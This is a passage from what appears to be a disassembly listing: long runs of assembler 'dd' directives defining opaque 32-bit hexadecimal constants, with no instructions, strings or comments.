		dd 0A88278E0h, 0BA61F341h, 8C6530E0h, 2CF9B81Ch, 0EB2F62C0h
		dd 28DF9FF4h, 174ADB2h,	0C83FB9E0h, 48E9BA7Eh, 94B8D240h
		dd 45DBE38h, 26D67EF4h,	20843CA2h, 0F8D02560h, 2C7ED2CBh
		dd 18F07A07h, 0ECFE31A3h, 75269001h, 4A819927h,	0FC507FD1h
		dd 16B67Ch, 0DCA09DACh,	47524D0Dh, 6C92B917h, 4490BC01h
		dd 0D424C6D9h, 6A1337D7h, 3B4D0189h, 5FE02E45h,	90ECA814h
		dd 0FB6E16F6h, 5E3C0007h, 0D7C778B6h, 64000490h, 46319623h
		dd 2A6C9327h, 4CA48E29h, 0A330B48Bh, 5E7CEF38h,	0EBA140h
		dd 0A580268Fh, 3969A15h, 0A9FD673Dh, 1D8808BBh,	0C73B6014h
		dd 8C0026B9h, 8D2A1728h, 1CEE5E63h, 9DD962h, 0AFB4EB27h
		dd 690A20E3h, 20E8EA2Fh, 8DC7AB40h, 0E9EB0278h,	8E351F8Ch
		dd 9C507062h, 527F80A0h, 0DDEE001h, 0D27C5A64h,	27091C28h
		dd 5021B6C5h, 31222B68h, 8D189324h, 0C4EAFC08h,	41642C6Eh
		dd 52066E7h, 92134D93h,	100DC00Eh, 14E86F8Ah, 0B604D8FDh
		dd 0D102D929h, 298E0BE4h, 88192E20h, 0D748E8A0h, 27790204h
		dd 0E861A62Bh, 4C765360h, 1D177014h, 2206FBB8h,	24F05229h
		dd 104598Ah, 7A75D20Ch,	0D4E8607Dh, 93F1A961h, 59017C12h
		dd 0EEB06146h, 0C6B694A5h, 81003874h, 30EA96ECh, 55A4F03h
		dd 0A095C4FEh, 73083285h, 0C45CE030h, 908DA678h, 93B9620Ch
		dd 0FDAB9A01h, 6571F339h, 0DB16444Fh, 47D42950h, 293B805Ah
		dd 6200E794h, 5EEE4E13h, 6A06965h, 0B3F4DD63h, 0E242385Ch
		dd 85AFE303h, 6100C2F9h, 0BD127071h, 0A9440BACh, 0F9F443D0h
		dd 2C854EC6h, 0C050FC0h, 8FB97A92h, 0B6A0CC22h,	0A48248B0h
		dd 0F3040597h, 0E9A40213h, 0B0A0FC7Dh, 6AEF68B3h, 83022FE0h
		dd 237EF214h, 9F0899A1h, 70126318h, 7C151655h, 2E8C26B0h
		dd 72B5A503h, 5AAAC8F9h, 0D0244829h, 8A9D4708h,	66FC7A01h
		dd 48DA1FEAh, 12BED5FCh, 0DC5F2A4Ah, 524024DCh,	0C914267Eh
		dd 6CD28CB0h, 0E6E1949h, 0D68B0C31h, 7B6600A1h,	252E5554h
		dd 623DEA02h, 0BCB080C3h, 7CA09308h, 49C7423h, 5D0A118Ch
		dd 0B3E4F0E0h, 68C4B8F8h, 27009A8Bh, 374816DFh,	52B4CF49h
		dd 859484B0h, 0B47E841Eh, 2454F6C9h, 0A43E84ECh, 0CE89440Dh
		dd 18E0ACA1h, 50EE8066h, 0DC8BEA00h, 4693215h, 60B40070h
		dd 2DCD47D0h, 8A0316DAh, 53905430h, 2661E07Fh, 0F2C300B6h
		dd 289B45A3h, 0A00DCFEh, 185C383Dh, 0ECC21Eh, 3E3B984Bh
		dd 4D7DE082h, 2916AB00h, 5BEFBB6Eh, 0C3C900ECh,	1ED1C423h
		dd 0C8785C0Fh, 93143B01h, 6B47121Ah, 33A392DCh,	0B55899D6h
		dd 68F7FFC8h, 7303CC7Bh, 7BF2CACh, 2818E836h, 38C560A0h
		dd 454D1AA4h, 189CDE2Ah, 30BFEC29h, 3242E664h, 0F2604AC2h
		dd 59004D1Fh, 799BB735h, 0A10B1Bh, 6FE1C7D1h, 0D252DA3Eh
		dd 0DB0017FAh, 505C2E94h, 98927F99h, 654A0082h,	77B36DA6h
		dd 18C4EAF3h, 4F211C5Ch, 80F60313h, 3FF592Eh, 12C3E147h
		dd 1000213Ch, 817552D6h, 0BBDD69h, 6F1D386h, 15E2F447h
		dd 137E19C0h, 80A051h, 8991F3E4h, 0A272DA7Fh, 1E65C700h
		dd 2EA8930Ah, 0EFE70C9h, 6706D621h, 30FDEAE0h, 8A0D550h
		dd 7A0C7391h, 81D8D0D2h, 507C18BBh, 7879A0DFh, 0AC2F8A1Bh
		dd 0FA57D858h, 6DD418C0h, 17AC193h, 7175B3Ch, 0F1858CB5h
		dd 0A8455F01h, 70EAC830h, 94131884h, 55DF3191h,	645AF800h
		dd 73EDF2A5h, 60F5743Dh, 0ADBC2196h, 0DB0002F9h, 7BF06972h
		dd 1FBC6DAh, 5C3365D8h,	0B8382841h, 0B3CE00A8h,	1CA64ED1h
		dd 0A3FC0EF3h, 0C08DF28Ch, 0D1066021h, 5C49DF1Eh, 9C1D4840h
		dd 6F139279h, 1036D1F6h, 250FC8EBh, 0E02FAB93h,	40629986h
		dd 0B2383052h, 534330D7h, 0CECA0A00h, 0EE3DC3A9h, 96CDFB01h
		dd 0BB02F857h, 0CC8FC4h, 0DCE0F349h, 7D1573F6h,	0BF4300C9h
		dd 5606D4FAh, 937ABD0Eh, 0DD5D5214h, 0CC4168FCh, 0C8AA640Fh
		dd 30861DEFh, 2D911051h, 0DDD3BE00h, 0C2E267A4h, 0D6250077h
		dd 0EAF2612Ah, 4210F3B6h, 0F3AFFEDh, 5886AD0Ch,	0AB01B959h
		dd 0BA71161Fh, 51C5D21Ch, 61A00898h, 1F00AC12h,	87192649h
		dd 271135Bh, 4ED5A7B4h,	0F8A0F71Ch, 48C77621h, 0C17970C0h
		dd 1CD2BDB0h, 80A48C24h, 9D1DB8Dh, 0B700694Ch, 0FA3846A6h
		dd 2415179Fh, 718FC55h,	606C300Dh, 256A8B47h, 10767400h
		dd 0CF88DC1Bh, 0BE17002Dh, 8FDE1C75h, 7000F9Ch,	0FA40A498h
		dd 0EF48BA1h, 37367170h, 0C4F7B020h, 0EF0F4C5Ch, 92E69DBBh
		dd 87929600h, 446F0h, 5B7C3D2Dh, 510EA698h, 49D37400h
		dd 2573CD57h, 677E60h, 0C9AD0890h, 3804C7D5h, 0E7BC950Ah
		dd 351E8431h, 79C0A5DCh, 0E560DEC0h, 4CE40CCFh,	7A4106A7h
		dd 83DAD37h, 0FB07E80h,	0BFF31D66h, 2F5E0646h, 3C002870h
		dd 44890949h, 0DE333Eh,	3120010Bh, 0EEBA4861h, 0D08F2501h
		dd 2B65E83Dh, 4DDB7880h, 6192D353h, 4F8C3E0Eh, 0D6E3A627h
		dd 2E074318h, 0FB03FBB0h, 0B01D46A5h, 8BB6CCh, 5406603Fh
		dd 0B45A0548h, 2B60F8FAh, 42BE0470h, 4A6D0683h,	4820777Bh
		dd 38364B00h, 17A47662h, 5990FEDh, 0D02C358Fh, 0BA1BACE9h
		dd 907994C3h, 6AD07A2h,	9BBB4DB2h, 460E497Eh, 8525A5E1h
		dd 8C404926h, 50013460h, 8C80C239h, 8C800C1Dh, 0F7EC6957h
		dd 0A8E3C00h, 755949CCh
		dd 0BFD00732h, 41534CFFh, 0C85EB365h, 6000B647h, 5F7C266Bh
		dd 0B83E0415h, 167F0FD6h, 27004146h, 0BE4A1D33h, 6A5F4407h
		dd 7AF3E6A1h, 986DD3DAh, 0E1B9A48Fh, 0B8EEF3CFh, 6031DF98h
		dd 2F1A509Ch, 474E4054h, 13056C1h, 7877ECE0h, 0A8C40039h
		dd 2B5BDA0Fh, 8C0D542h,	1740AE4Ah, 0E5FD01CCh, 2DA08A8Dh
		dd 1958E0CAh, 6ED13800h, 90A3F5CDh, 0AA70C034h,	0FDE4D808h
		dd 0E1405C60h, 7F2A4E8h, 1F1937BCh, 0C9607F56h,	0F78F7188h
		dd 81918400h, 0C202C6E6h, 0AE9E0390h, 69D418B9h, 5305017h
		dd 0A7661701h, 0F8804882h, 0DB9B4D2Bh, 530C633Ah, 0E08F8DD8h
		dd 0AEF70002h, 37F5C9F1h, 0BD001318h, 0E7819B26h, 4CBF78A6h
		dd 62194D2Ah, 40BB484Ch, 0D5365C88h, 0B8AE183Eh, 25B960EFh
		dd 74FD03h, 3986CFABh, 0E518539Dh, 0FE0EF2FEh, 95F1FAB0h
		dd 3F0900C4h, 11ED40Ah,	9FC500F0h, 0C05A9D4Ch, 7119BADDh
		dd 3B97385h, 0A042E960h, 1F2FC4C0h, 7628029h, 8CAD0C9Ah
		dd 9B0EBA50h, 20A92454h, 0ECB1DD96h, 765A03BCh,	0B209AE64h
		dd 0C51A7EE8h, 0DEED2E00h, 61675836h, 0E4FA4Ah,	80635434h
		dd 70EA533Bh, 29DD5A31h, 320057AAh, 6501791Dh, 370D40A0h
		dd 0EBF3111Ch, 901C80Eh, 7A7801C6h, 0F1BAF469h,	2C87C450h
		dd 8B341E1Eh, 3C4CB900h, 7E6CA2h, 0C838C6C9h, 0BB372DFAh
		dd 3ED40E07h, 603F4FF3h, 1393956Eh, 88E7004Bh, 820799AEh
		dd 0A13FD010h, 0ECDF800Ah, 0C2D99296h, 63D10045h, 2E30E83Bh
		dd 0E601B755h, 0AF6C6166h, 84505223h, 7503Dh, 45EA1DD3h
		dd 0D84019Eh, 0E287F300h, 0A2FBB268h, 0A6EE0F7Eh, 4420289Dh
		dd 22FCE16Ah, 0C0D68700h, 0B83E7008h, 29A33911h, 6D780500h
		dd 42F4B2C9h, 73E94600h, 0C64148AFh, 0FC22007Ah, 831BF21Ah
		dd 0CD05A51Ch, 0EF579E71h, 0C9BEB1C0h, 58B00D9h, 9DDF9BB4h
		dd 2302E04Dh, 0AAE97E3Ah, 0A8DA4069h, 8EF800A9h, 85FD53C6h
		dd 0D0006436h, 43FA1A91h, 34C549Dh, 0C7319E70h,	0BAF9DED7h
		dd 0A990D462h, 0C2B33D1Eh, 728F80F9h, 0B663736Dh, 3C4B0703h
		dd 0D03E801Eh, 5E60A253h, 4900A0B8h, 0CDD248F5h, 34C1FDh
		dd 0DF78038Dh, 0D910A9B1h, 0BECFCA00h, 0E7FC8CECh, 1AC86026h
		dd 740F8FE5h, 8F72C00h,	0F946AAC2h, 229E01FCh, 53E173B4h
		dd 0E59CCCF8h, 20CE0C0Eh, 0A22B8E41h, 4086EF69h, 23AD2Bh
		dd 0DC3E1418h, 9C509D5Ch, 0CC95F000h, 0EA5B2845h, 6DF200EFh
		dd 0CE1C3C9Eh, 2400F126h, 0C28DC756h, 9C41528h,	0F39BEBFDh
		dd 0DE40668Fh, 59F4043h, 0BAD2A900h, 4D2AE79Ch,	11DD37E9h
		dd 2082D346h, 707D4CD0h, 80020771h, 0A529BDFFh,	56BE6058h
		dd 0AF1E00D9h, 0C3F62657h, 1103AA96h, 0F5DCAD1Ch, 0E7E888F0h
		dd 0A01E1255h, 2E6000DBh, 0CF08E934h, 9514D903h, 5F882Dh
		dd 5E929166h, 0DFF6C387h, 30640400h, 93D378F1h,	68C8618Fh
		dd 2085361Ah, 5B00A254h, 38CE18E4h, 20C84B3h, 0B93BFC31h
		dd 0E4C0889Eh, 0F04DBA3h, 0BF3AE8C0h, 0B9305883h, 55EA69E2h
		dd 99937DE3h, 101BF2CFh, 3C3099C0h, 0C407B100h,	29E50AABh
		dd 61EE0058h, 0FBCA061Ch, 6700FC65h, 6CAE15BCh,	7E5931A9h
		dd 145B8D8h, 0B540E69Ch, 0F8930AD7h, 0DD071C66h, 422302A6h
		dd 0AC053CD5h, 0E431C8B1h, 9887C4C7h, 0C0050863h, 864C4212h
		dd 786FCB01h, 624916F6h, 54FBECh, 8AE6B136h, 0C2A90A8Dh
		dd 106EE3Dh, 87F8F95Ah,	0E025216Dh, 0E44160h, 15D9E688h
		dd 0BF82BBF2h, 0A240D701h, 4D254513h, 4749E4h, 3A8834E7h
		dd 4EA6EB9Eh, 55DB7A16h, 14300107h, 61D9D130h, 0F76E00CDh
		dd 0FF45DFA6h, 2384C59h, 0EC178EB0h, 27F40081h,	116541h
		dd 0AC4EF0BEh, 0F90A5671h, 59B28200h, 0BDB7E288h, 4861607Ah
		dd 4A505D8Eh, 927DD039h, 7B004C8Ch, 0AEBA9930h,	88790059h
		dd 0C47758C5h, 890003D9h, 0A417C93Eh, 0D8D1FAh,	0A9671695h
		dd 22907C11h, 8E8391B0h, 8B3D0CBh, 0A064F4D2h, 6A7F0D03h
		dd 894FA5E9h, 0A8306B37h, 0B1F413h, 0E125BC55h,	9D5A22EEh
		dd 0DCAEB800h, 0E0014C50h, 2422B880h, 0C07115h,	9D6EF2EAh
		dd 2D280CAEh, 28389853h, 19750099h, 675A72CDh, 0BC6900D5h
		dd 0BE2BD42Ah, 0ADE695EDh, 80145339h, 590752B9h, 1D433C3Dh
		dd 8094D4C5h, 6A99E141h, 92079C6Ch, 1C9563BFh, 0C16659B0h
		dd 8B820027h, 0CFDE9FAFh, 0C2020A83h, 8F0E99D4h, 0BAAC80E5h
		dd 7F6AE332h, 71D00A7h,	630D9252h, 210F6065h, 0C06C73D0h
		dd 8FB12B9Dh, 46F6F9h, 1E6922FDh, 4B15B8F8h, 4A997800h
		dd 0AA3AF112h, 864D007Ch, 8FEA50BEh, 3B0C3909h,	1873AF3Dh
		dd 3C88001Fh, 9DF03295h, 0E3007AE6h, 0B298113Bh, 12574276h
		dd 0CF8D2Bh, 0D6287B7Ch, 77F4C0F6h, 50928EE0h, 803B4C24h
		dd 79081281h, 0A840A85Ah, 60E62C5Eh, 0B82A308Bh, 4900D5BCh
		dd 0D7CB1D82h, 5144437h, 9865015Bh, 0DEA4C0C6h,	897C0981h
		dd 0DC495900h, 0B54A1EBCh, 0D17434h, 2505F016h,	0C38E8022h
		dd 64146F00h, 0E9188577h, 3F1F00C1h, 1529D8C0h,	0E0005ACFh
		dd 0B520E8E6h, 62F64B84h, 4260B1A6h, 20C00F57h,	50B66F9Ah
		dd 0B29B0064h, 0CB5DF8A4h, 0EE0345B1h, 6BF20220h, 11B9001Fh
		dd 1A73F913h, 9603B426h, 0E5E72D39h, 1C2CE8E2h,	60EA6018h
		dd 93B447A9h, 340144BAh, 9B8843FBh, 0BEC4A555h,	71C9857h
		dd 0ED8A6FD4h, 0D0ECF529h, 0C8609650h, 21B753Ch, 0F911B67Eh
		dd 8877407Fh, 0E44E0155h, 0E08CCF5Ah, 0F0C4DC06h, 4C0B853Eh
		dd 319E3B2Bh, 2CCD301Fh, 2FED2840h, 13A09899h, 55F4E03h
		dd 2D6CC02h, 5971B610h,	9CD26468h, 77B0E6EAh, 0C40C82F2h
		dd 0C99E07C8h, 0A07554A8h, 0E620C1D2h, 70366864h, 18000398h
		dd 37BFB33Bh, 0DC285Eh,	7AB71488h, 0DDB05720h, 4493E101h
		dd 6D5B4296h, 3B130C0h,	0ABB8753Eh, 0DAA0FBA6h,	0AA0F1584h
		dd 0C62EDF49h, 3F995CCAh, 4CBE9EB7h, 0EDB0A680h, 0E6615BEFh
		dd 0FC0102E2h, 87824704h, 0A080A854h, 5725BE77h, 0BB0F262Ah
		dd 5F44990Bh, 0C161810Ch, 15B62CA9h, 0C9110155h, 98696E7Eh
		dd 56218509h, 0D96B00EDh, 702830E6h, 8900A34Fh,	2949F674h
		dd 18F2BE96h, 304B21A9h, 0EF24E9E3h, 894030CAh,	61FC7C44h
		dd 0CC9EC2C4h, 540899ACh, 7CF08BD1h, 461928B5h,	9F6F00FDh
		dd 3DA72E82h, 0D806733Eh, 450DBF47h, 2CA97231h,	1393F72h
		dd 7085B3Eh, 0D820B28Dh, 140E30ECh, 0F1119411h,	80B88F88h
		dd 61E96BEAh, 5772CCh, 2329C382h, 285B04F6h, 982A9715h
		dd 0F82398h, 1180143Ah,	44867F51h, 0C600AD81h, 1E46D76Bh
		dd 0AB8329h, 4F076A60h,	0D3A94CE9h, 3A0A1218h, 632FC0h
		dd 6EE632F5h, 0DE605386h, 0E0A5D600h, 0A3135627h, 0AF3A0174h
		dd 0C26C6B83h, 71BCE068h, 30598F00h, 0AE28A77Bh, 0D1CB004Eh
		dd 0A0038EBBh, 460EC5FFh, 0FFB8011Fh, 0AD547207h, 51957E30h
		dd 0F4BA3A79h, 0EEFF280h, 158E6D42h, 2C48D800h,	73C05E80h
		dd 0B9640003h, 98A66F88h, 2874BD22h, 0B01D191Eh, 5D573F44h
		dd 0C17980AEh, 0B20092E2h, 0D71B052Ch, 3A10D2h,	6EB114BBh
		dd 670C44Ah, 0AC7B1C00h, 0FADED93Eh, 0DF930105h, 5741E322h
		dd 76143074h, 0D4272D00h, 4F97A140h, 1230C066h,	984DC23Ch
		dd 771B2E00h, 0B845CAF3h, 6BE50076h, 0AC7A7569h, 784406ABh
		dd 67E1007Ch, 70A056B1h, 0CE1D0E18h, 949F98C5h,	0D50844C0h
		dd 0E80D19h, 74BE2641h
		dd 9215B10Eh, 141B7E00h, 0A58D2F52h, 9FCA017Dh,	3124F7AFh
		dd 98C08412h, 46C09206h, 7C6F1346h, 5AC0002Ah, 3FCBE38h
		dd 19079652h, 0FF46A0EFh, 0E5AD0DF0h, 7D3A3861h, 7FA8C87Eh
		dd 9239980h, 56D41Dh, 1F2011B4h, 0C5F99126h, 0A3941C1Eh
		dd 0EF827000h, 0FB5D86E3h, 904D1E8Eh, 208F0C86h, 0EB7A5A1Ch
		dd 32784C83h, 639D82DEh, 70238009h, 59770035h, 123B333Ah
		dd 0BD71C8ACh, 0F41038C1h, 0A420E676h, 1D890749h, 46867111h
		dd 0AB0021C5h, 9633E6EEh, 3DC8521h, 8952A68h, 0FBE3315Bh
		dd 0C31F1CF8h, 5E26613h, 0F8C0B401h, 64869435h,	48AA0B77h
		dd 0F70083F0h, 0DB3118DCh, 3A289CE1h, 2E18FC63h, 8B6A2020h
		dd 0A482DD00h, 2A65BAB3h, 0C8EE67D2h, 0B656D298h, 8821D1C2h
		dd 8B259910h, 97B039h, 2E4FE8AFh, 1F87951h, 0AAC8CF2h
		dd 20886DA9h, 0E07376FCh, 4AF91B00h, 0BC91B82Eh, 0F66503D8h
		dd 0C13551B0h, 5000CBABh, 0CEEBFFA3h, 7634E7h, 4E99579Fh
		dd 11A4A8FCh, 5A20CFh, 1317A6FFh, 0ECD700C8h, 8526A0C5h
		dd 2A1E77F7h, 59300F3Eh, 6014BCE3h, 0F234C806h,	7F006308h
		dd 0FA55A0FCh, 7E958Fh,	1E0B3320h, 14619B6Dh, 2CDE4800h
		dd 0F05E06A1h, 0FFE1004Ah, 72C9F93Ch, 66F6BA4Ch, 8A35BE00h
		dd 0BDE5254Eh, 7CFD00AEh, 63B3F8A6h, 0F2008E92h, 90FBCFA5h
		dd 6CB525h, 0E17B684Dh,	0C923D4D1h, 309A5A30h, 0E1480h
		dd 5022EFCh, 0AA987A42h, 0F46FF503h, 0C8E00F07h, 30C90Ah
		dd 38832EF6h, 988D10A1h, 0AD66EF00h, 0B2D99D6Eh, 0B532001Ah
		dd 99035360h, 0F00EA0Dh, 0C15DA622h, 0FC2A5D9h,	2C463FEFh
		dd 0E31976A1h, 27D7D80Eh, 0A887B60h, 0E6C1B83h,	0E9968DDFh
		dd 0B0F7E060h, 4D0E362Ah, 60D402FEh, 4601AC86h,	0F6C90333h
		dd 8449FB4Bh, 885E8790h, 0AE09360h, 37A1CCh, 0BF4E3E51h
		dd 6E1531B9h, 0DE2651Fh, 384C078Ch, 3CCB7464h, 0AA00B5A5h
		dd 2535F996h, 2E07F70Ch, 1CF8EF91h, 0D9563630h,	5D881D90h
		dd 2EA4DD94h, 652800C6h, 0A9BDA842h, 0E378A602h, 80038918h
		dd 0CB01E7EEh, 301A007Eh, 0A9159F9Ch, 0A36125BDh, 802D5029h
		dd 12CCFD01h, 0C1288581h, 0D0D1141Eh, 0CEA4911h, 50796ECCh
		dd 7B4D075Dh, 706325E3h, 0DB23F59h, 4700B0FAh, 0B9F7E1E5h
		dd 2EC737h, 4EE29D60h, 0E98F965h, 0CE97A026h, 30B0C400h
		dd 0EAF285A7h, 0A8E038h, 98FAD2CFh, 3524B8DDh, 9242EF0Fh
		dd 0E0576E0Bh, 0CA08CB81h, 68450328h, 6B36A698h, 60A0AAC8h
		dd 0AE4C5000h, 23759CCh, 0DAF100B9h, 0D412CA78h, 1600B6D5h
		dd 0B5B7E7CDh, 0E668A5Bh, 52E82B2Eh, 0FD015780h, 0C1E33BF1h
		dd 0ECBCFC95h, 0A6A57500h, 33855035h, 44A20140h, 0A8780F74h
		dd 1C44087h, 9400EAF6h,	454BD865h, 7671DDF1h, 38EF2C3h
		dd 70926B49h, 0ADA0D262h, 2F0C3FA2h, 1096A075h,	0B6020056h
		dd 542E653Bh, 42051A20h, 0DD37BBC6h, 91815780h,	7C80A0A7h
		dd 26B800D8h, 0A1C30887h, 0A8EAC13Fh, 180A7100h, 0C00BBACFh
		dd 0E303005Dh, 86B1F98Dh, 340052FBh, 4DCB9001h,	0E8E64636h
		dd 0FC781DA5h, 0F04580C6h, 476D9CEDh, 73615400h, 0C1F29E72h
		dd 757100B8h, 851E42BAh, 0DE03CA80h, 31DB3026h,	7FA6A9F9h
		dd 0AD9E2080h, 0E75EEF2Eh, 20C9ED0Fh, 0E46C607Ah, 0DD6DF4h
		dd 0A0C02331h, 77D86B54h, 3A343B00h, 0B01EBE41h, 0E90F165Ch
		dd 767300CAh, 2C329BECh, 821FDC00h, 0D4CBA92Bh,	0A5880370h
		dd 0F88C447Bh, 0D0189190h, 59F04Ch, 0C41DBD74h,	2FF7CBh
		dd 0A1634ED6h, 9C9FF660h, 0BB64A700h, 3593DEF3h, 9E460742h
		dd 0F07CC9DDh, 0B2724E17h, 0CB5BD400h, 0F42C8506h, 204203FBh
		dd 0D2F9E5EEh, 114963E8h, 7CBA613Ah, 0D30054F2h, 72D6703Eh
		dd 0E90D2327h, 1EAD3AC8h, 87F4E21Eh, 7F2909A1h,	70AE79C0h
		dd 0F100BB7Eh, 1CC6F50Ah, 0C00691E5h, 7228B850h, 7C1CF2E3h
		dd 0B9008D19h, 0A104E735h, 81C10027h, 0B4A9C65Dh, 9700E096h
		dd 7C46058Fh, 74360EAh,	0C75E4DAEh, 37617019h, 0D20058AAh
		dd 9DE0FDBEh, 0E232594Ah, 1250E8F3h, 6FD9D1h, 0A0DA5594h
		dd 6800ACAEh, 3DAA3C7Ch, 8891E2h, 6A9887FDh, 0FE2A1A9Dh
		dd 0B182D31Eh, 25C3F4C0h, 80C716h, 92D8AF0h, 0FAD5B4E9h
		dd 9DBC2201h, 0E44AB7BAh, 0FBCC60h, 0F3143B8Fh,	0E9A97D93h
		dd 0C197BE03h, 0B8A57FF7h, 0D25668h, 0C8AF44F6h, 434E9E98h
		dd 89E7BA00h, 3B5C18F3h, 89F00D2h, 0ED01B75Ah, 0A0001DAFh
		dd 5D96B05Eh, 2A5743h, 3EEF99EBh, 0D9867430h, 7689F800h
		dd 0E5AA52B8h, 40D0C08Ch, 5743BF3h, 0F0A2D000h,	6BBB42E4h
		dd 0C6B6031Dh, 13EAFF23h, 47F114D0h, 254A641Dh,	0E3AF5780h
		dd 480A5Dh, 42C3D007h, 37FCCFDEh, 4109648h, 0F57057CBh
		dd 6E801600h, 0CC4C7C95h, 413EA050h, 0AA1B0056h, 0F5C8E973h
		dd 5400F3B3h, 98CA2E67h, 25E4Ch, 6EF7426Ah, 89BD558Ch
		dd 0E9B8E400h, 45A1C0D4h, 79D52CA4h, 652F00B3h,	0CA76218h
		dd 0F3251C76h, 6A5EB8h,	6775FCDh, 1575AFF0h, 0B20F5500h
		dd 44D7ED5h, 0FC9A3FC9h, 4A526300h, 7A8773ECh, 0A7720500h
		dd 0FFDA6883h, 0CC6200F2h, 0A4FC4AD5h, 0A200998Bh, 0D4BE30BAh
		dd 462118h, 4D280B13h, 0EEF7C422h, 0F407C373h, 0DE0766A8h
		dd 829CBAF0h, 903239D5h, 9A05A282h, 7FC0B7CCh, 0A3001F30h
		dd 863622A4h, 14804C8h,	8ADA09B4h, 0F4F2BDD3h, 7000B7F3h
		dd 81C29E8Fh, 6573EAh, 3FB3AE3Eh, 0B703C1A6h, 2C3D7F00h
		dd 33DE54B4h, 0BC771F0Ah, 9F4A41B0h, 0EC38A332h, 0DAF47B05h
		dd 45B28700h, 2A1350BCh, 5A0D0077h, 7D676914h, 8409DE4Dh
		dd 80C28EF1h, 6A132386h, 733600E8h, 5FFF29C5h, 30EF63FCh
		dd 0B20092BCh, 0CE227023h, 0BB5B5Ch, 8C615A95h,	0C85819DBh
		dd 0B643E30Eh, 0B26260EBh, 4E8FD8h, 8B1D65CFh, 0AF7ED978h
		dd 3DD50B01h, 9A670CF8h, 901F3FC8h, 0A9B50083h,	8BFA634h
		dd 0F1003EA7h, 3FC349AEh, 0FBBC1F3h, 92ACB2E8h,	485BFE80h
		dd 4D0080DFh, 0D84596FFh, 596B71h, 8D3561BCh, 29AFD6ECh
		dd 0C2E60700h, 0E2080126h, 67F10031h, 0FDEA8A8Bh, 0B92E1DE3h
		dd 6007A7D7h, 1E803FE1h, 5798B4h, 4CD48CA5h, 6E323686h
		dd 0D9146700h, 9F711D33h, 24700BFh, 0C5F572A5h,	3D0FEA27h
		dd 0E01992BBh, 2F2D6C81h, 836500A7h, 3C45BC57h,	0ED0EE4BAh
		dd 0A0EFA886h, 0B5723230h, 192A1CDDh, 0DAB407CDh, 36515062h
		dd 0AE0E492Bh, 0B7641F7Eh, 0D3A5830Eh, 0A3B77400h, 0B15609h
		dd 0E00D075Eh, 8A615B44h, 234CEE1Eh, 3A90100h, 0F5A7F3h
		dd 63843697h, 0AA41B9FBh, 8FC86E00h, 0D6233249h, 0CEC748D0h
		dd 3FE7F100h, 0ABE010A0h, 9993D500h, 3C9D0ED3h,	0C6E3004h
		dd 708EBCBAh, 87BB5501h, 0C878E06Ch, 0D922D8h, 45836826h
		dd 0FB4DF335h, 6EF9F602h, 608DC351h, 0A21EECh, 2B6AD963h
		dd 2D64A51Ah, 933E011Dh, 0BCEBDD80h, 98E66E07h,	83F93854h
		dd 56A9119Dh, 20A0005Fh, 2D5CEF6Fh, 80B8A47Eh, 94E39B03h
		dd 0F30FC680h, 0D895CB39h, 4EEEB1h, 6A06CE38h, 0D750DEC2h
		dd 0A0A56B00h, 0CC3BFCCBh, 0B879CDh, 0E4E560F4h, 8338464h
		dd 0BC44C413h, 812CDE1Dh, 104C6700h, 2CA52A45h,	422DCCDh
		dd 0C0E77BCAh, 994AAAA4h, 38005BB8h, 0A40474A0h, 86CEB1h
		dd 22062A30h, 0C2A639ACh, 0B7A6AFAh, 0A9BB4D00h, 335F2018h
		dd 304100B3h, 77AC24CCh
		dd 0FFE323A2h, 5280D800h, 72838208h, 761A1901h,	0C0A61894h
		dd 0FB00394Ah, 9840F399h, 3EB08C75h, 2A0C32CBh,	0C228B209h
		dd 0CF8F5E00h, 0EBF658CAh, 8CCE007Fh, 6C539503h, 0C50044B5h
		dd 3285A5C3h, 37478Ah, 0EFE7C6D8h, 3E972C7Eh, 0AD201500h
		dd 0EC42FAB8h, 4A2200A3h, 0C7124FBFh, 2716E43Bh, 2845FF17h
		dd 908834AAh, 0A59C0FCFh, 10C04124h, 0DE0A62E8h, 0ED96B301h
		dd 0E05A532Dh, 0C060C9C5h, 725806B2h, 10EC1D85h, 0B60C3B03h
		dd 0AFF430h, 0E399B2D8h, 9326CAB8h, 6F98DC00h, 0CD0AE664h
		dd 5D88009Bh, 7FE93D92h, 0A6005563h, 82406F79h,	83FE03h
		dd 912E6538h, 0D61C0D17h, 66753Ch, 0D02C0E8Fh, 4860F98Dh
		dd 5E179419h, 0DBDA0047h, 0F2CB96E4h, 31C0C9F8h, 9BDA0FCCh
		dd 32FE0118h, 538B3C91h, 0A1F8BF8Dh, 222A0089h,	17B9CA80h
		dd 263A087Ch, 254100EFh, 1BC38865h, 37C4031Ah, 82248DC1h
		dd 0A1D903C3h, 8B02FEEh, 73490EF2h, 2F608541h, 0CDFF3892h
		dd 28E92002h, 442EE47Fh, 58B407F4h, 63A66E19h, 48A3C413h
		dd 0C498F8F1h, 627C367Bh, 0E13A9D00h, 0BE5D4B47h, 0DFF7004Dh
		dd 0C8A2F6D1h, 6C093664h, 805CD451h, 0EC0FC0E4h, 0B19800B8h
		dd 2C073397h, 56EABF40h, 3BA98403h, 0C814A287h,	0DFC2ACh
		dd 1D9A5B2Dh, 91BD2BAAh, 4B020300h, 0B70AA668h,	0FE94178Ch
		dd 230800E6h, 0E5F2A990h, 0CC59962Eh, 3E827F1Fh, 601BF524h
		dd 7BD3F08h, 0F89858D1h, 24307980h, 160126C9h, 548D2548h
		dd 984007FDh, 57B372h, 535F621Ch, 0A0F46DDCh, 0A77E9101h
		dd 8FF014D5h, 8412DC40h, 510F003Bh, 0D03506CBh,	9D00E4F4h
		dd 0B2DE4CE5h, 92F725Ch, 7E3BBBE8h, 9A839C81h, 6EA07050h
		dd 0C7751E00h, 565C851Bh, 7AC1009Bh, 0EF41F654h, 0C300C243h
		dd 334B7B80h, 90F0C51Eh, 5B110A70h, 3C54AD0h, 0B1E84E0Eh
		dd 0F0C594B9h, 4401DB9Fh, 3DA9C369h, 95C058F9h,	0FE59008Bh
		dd 135ADF07h, 5600F1ACh, 0ADB7C08Dh, 44A40F8h, 4B2D390Bh
		dd 0E0A9C742h, 0A6D3B6E4h, 314CB3Ch, 0ADC334BBh, 0E180D48Bh
		dd 0E45374C9h, 345250Fh, 575FC080h, 3E48AAF6h, 0F37312DCh
		dd 5B9190C0h, 988A0094h, 0C2C6B56h, 0E0B0A721h,	0D7135307h
		dd 11F0C3ACh, 98AD9219h, 2B4700C7h, 0E13E8C7Ch,	630E3729h
		dd 606FB18Bh, 0BCD2E426h, 0FE3012ECh, 52BC0E2Ch, 3E1F0BE0h
		dd 2600A490h, 0DE71967h, 290987h, 9BBC6DFBh, 727835D5h
		dd 22BF3C01h, 85CDAD0Eh, 0EEB7B883h, 93B8E45Eh,	430173C0h
